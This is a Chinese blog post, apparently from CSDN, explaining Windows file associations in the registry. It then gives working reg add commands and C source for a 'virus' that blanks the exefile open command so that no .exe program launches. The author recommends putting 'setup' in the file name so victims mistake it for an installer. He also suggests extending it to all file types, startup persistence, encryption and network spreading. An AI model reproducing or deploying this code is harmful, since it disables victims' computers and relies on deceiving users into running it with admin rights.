病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香“
好久不更新了,这次来点干货.
众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路.
当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了.
熊猫烧香一个比较明显的特点就是会感染所有exe可执行文件.
当然,其他一些功能也很牛逼,但是无奈我水平有限,目前只能做到感染exe文件.不过如果你们愿意,可以将电脑上的任何类型文件进行感染,我这次仅仅是用exe文件做示范.
一.预先要知道的东西
我们这个病毒实现的原理是对注册表进行下手.
众所周知,注册表是系统的核心,我们所有的设置都保存在注册表里面.因此,没事干千万不要乱动注册表.
我们在"运行"中输入"regedt"即可打开注册表.如图.
要想学习注册表,我可以教你们个方法:直接将图中的每一个项的名称去百度,第一条里面就写的很详细,每个项时干什么的都会有.
比如我想直到HKEY_CLASSES_ROOT这一项的详细作用,就可以直接搜这个,如图.
百度百科写的很详细了已经,所以我就不赘述了.
当然,学习一定要有总结的习惯.下图是我在学习注册表的时候总结的一些比较关键的东西.如图.
这里面包括了病毒启动项的位置,以及各种可能用的到的地方.这个就看你们的脑洞了.
现在想一个问题:
当你点开一个exe程序或者一个txt文本的时候,系统是怎么知道你点开的是什么呢?它怎么知道txt文本是用文本编辑器打开呢?
原因就是我们的注册表.
我们的注册表里面的某个位置对我们按照某个程序打开文件的操作进行了记录.
比如,我们想知道.exe程序是以什么方式打开,我们可以查看一下位置:
HKEY_CLASSES_ROOT.exe
可以看到默认里面写了个exefile.我们继续寻找exefile.
我们看到exefile下面有三个子项.
第一个DefualtIcon代表程序图标是什么.
第二个shell/open/command代表打开程序会执行什么命令.
第三个我们不用关心.
这里有个很好的例子,说的是当你自己新建一个随便的后缀名,然后想以某个程序打开,如何进行注册表的修改.
链接附上.
https://blog.csdn.net/a302549450/article/details/84308175
这个是必须要看的.我们后面的东西就是根据这个基础做出来的,大家可以在自己的虚拟机上试一下.
二.使用命令修改注册表
cmd中专门有一个命令是进行修改注册表.名称是reg.我们可以看下用法.
可以看到有12个参数.我们用到的是add这个修改参数.
比如,我们想将exe文件的图标改没,可以这样写:
reg add HKEY_CLASSES_ROOT\exefile\DefaultIcon /ve /d "" /f
我解释一下这个命令.
reg add就不用说了,在注册表中添加的意思.
HKEY_CLASSES_ROOT\exefile\DefaultIcon,是exe文件图标的引用位置.
/ve,使用默认名新建值.
/d “”,设置新建项的值.
/f,不用进行确实强行写入.
当然,我们这个是将原来的值覆盖了,不能叫做新建.
执行结果我懒得截图了,你们自己想象吧.其他参数你们也可以进行一下研究,都很有意思.
改图标的我这头不知道为什么没有实现成功.原因我也不太清楚,你们可以自己想想为什么.
或许是需要重启一下?我也没试
三.病毒实现效果
先放结果图.执行以后,随便点一个exe程序,就会出现打不开exe文件的情况.
我试了试注册表,好吧,也打不开了.
很尴尬的是…cmd也打不开了,本来还想用命令恢复,看来也不行了.
我想到的解决方法就是进入安全模式,或者是重装系统等等.
由于是我win7虚拟机,所以我直接恢复镜像了.
这里先说明一下原理.
我们的注册表中记录了所有我们系统的配置信息.
当我们修改上面我给出位置的信息的时候,将command的值改成空,当我们执行exe文件的时候系统就不知道改用什么打开了,所以会报错.
我这个仅仅是进行了一个简单的修改,如果你比较狠,甚至直接将注册表删掉都行,这样电脑就直接废了,连机都开不了.
你还可以改些别的,比如我在开始给的图片中某条记录是关于你电脑中的所有win32程序的安装位置.根据这个,我们是不是还可以干点别的坏事呢?
把这些学明白了,简直为所欲为了,哈哈.
四.命令
一共是两条.
reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d "" /f
reg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d "" /f
具体我就不解释了,上面有.
这两条命令执行以后,就会出现如图的效果.
当然,这个是有限制的,需要以管理员身份运行.不过在win2003上面是没有限制的,win7有,其他系统我没测试.
我倒是想到了一个解决方法,后面我会写.
五.C代码实现
会c语言的都知道system命令吧?我之前有一篇文章里面做了三个小病毒,原理就是这个.不说废话,直接上代码.
#include <stdio.h>
#include <stdlib.h>
int main(){system("reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d \"\" /f");system("reg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d \"\" /f");return 0;
}
由于需要考虑到转义字符的关系,所以我将cmd命令稍微修改了一下.
还记得那会儿说的关于管理员的事情吗?
我试了一下,如果不以管理员方式打开,会出现以下提示:
仅仅以右键管理员方式打开才能正常运行.但是哪个人看到这个不会怀疑呢?
所以我想到了windows系统的一个特点:会把包含setup文件名的文件当作安装程序.
因此,我们把文件改成包含setup文件名即可,然后点击运行.
当然,仍然会提示需要管理员权限,但是这样不是正常了很多么?
许多软件安装的时候都是这样,所以一般人没人会想到这是个病毒程序.
好了,就先写这么多吧.
在HKEY_CLASSES_ROOT里面的后缀名都是可以修改的,你可以写个程序,先读取注册表中所有的后缀,然后按照上面的方法进行修改,这样改完电脑上面的任何文件都无法打开.
你还可以将这个程序添加到注册表中的启动项中,之后对文件进行一个加密,又或者写个扫描器然后对局域网内的电脑进行传播,等等等等…
想想就妙,恐怕半夜都能笑出来,哈哈哈哈哈哈
剩下的有机会在写吧,这次就写这么多了.
这个病毒算是一个效果还不错的病毒.
由于我是模仿熊猫烧香做的,所以我起名叫做"百分之一熊猫烧香",算是对大佬的致敬.
病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香“相关推荐
- c语言熊猫病毒源代码,病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香”...
众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较明显的特点就是会感染所有exe ...
- c语言强制写注册表,:注册表的认识以及用c语言编写一个“百分之一熊猫烧香”...
众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路. 当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了. 熊猫烧香一个比较明显的特点就是会感染所有exe ...
- c语言用while实现输出加法口诀表,「加法口诀」C语言编写一个加法口诀表 - 金橙教程网...
加法口诀 C语言编写一个加法口诀表 #include void main(){ int i,j; for(i=1;i<10;i++){ for(j=1;j<=i;j++){ printf( ...
- C语言编写一个加法口诀表
C语言编写一个加法口诀表 代码: #include <stdio.h> void main(){ int i,j; for(i=1;i<10;i++){ for(j=1;j<= ...
- 病毒注册表常用目标Svchost和Explorer
Windows系统的Svchost.exe和Explorer.exe两种进程,作为Windows系统中两种重要的进程,下面我们就来看看他们的特点以及在各个操作系统中的应用. Explorer.exe ...
- 实验一——病毒注册表操作
[实验内容] (1)强制隐藏.exe文件的扩展名 刚开始应用程序的exe扩展名都是可见的 1.注册表项:HKEY_CLASS_ROOT\exefile, 2.新建字符串值:取名为NeverShowEx ...
- java编程九九乘法表_如何用JAVA语言编写一个九九乘法表
教一下学了JAVA語言的同学们撰写一个99玖玖乘决表 方法 进行设计构思:假如把99玖玖乘决报表中如"1*1=1"算式全部当作一个一字的笔画体得话,99玖玖乘决表可当作一个倾斜角二 ...
- java设计一个顺序表类的成员函数,用java编写一个逐个输出顺序表中所有数据元素的成员函数...
import java.util.ArrayList; import java.util.List; public class Test { /** * @param args */ public s ...
- c语言创建空顺序表的程序,用C语言编写一个完整的程序,实现顺序表的建立、插入、删除、输出等基本运算。...
#include #include #define maxsize 30 typedef int datatype; typedef struct seqlist{ datatype data[max ...
最新文章
- Schmid Telecom选择StoreAge SVM实现数据镜像保护
- 应急响应-Yara规则木马检测
- Rstudio修改背景颜色和源
- SAP Spartacus用户登录之后读取用户信息的HTTP请求
- 从概念到案例:初学者须知的十大机器学习算法
- Java旅游管理系统本科生毕业设计任务书
- UE4启动GameActivity
- ios蓝牙开发学习笔记(一)蓝牙概述
- Ubuntu版Julia安装与入门
- 4类官网原型设计及模板奉上,助你创意泉涌!
- Linux下Navicat premium 12 免费亲测可用
- oracle 查找所有序列,Oracle查询所有序列
- Zabbix监控web基本配置
- windows更改文件权限,获取SYSTEM 或者 Administrator权限,解决删除文件需要来自SYSTEM的权限
- js中exec()函数的使用
- 2020 ICM Weekend 1 Problem E: Drowning in Plastic
- 人工智能帮你生成中意的名字
- 计算机按键的功能介绍时间,计算器的日期键是什么
- CONVERT转换函数
- 读书笔记之《低欲望社会》:当日本年轻人变得无欲无求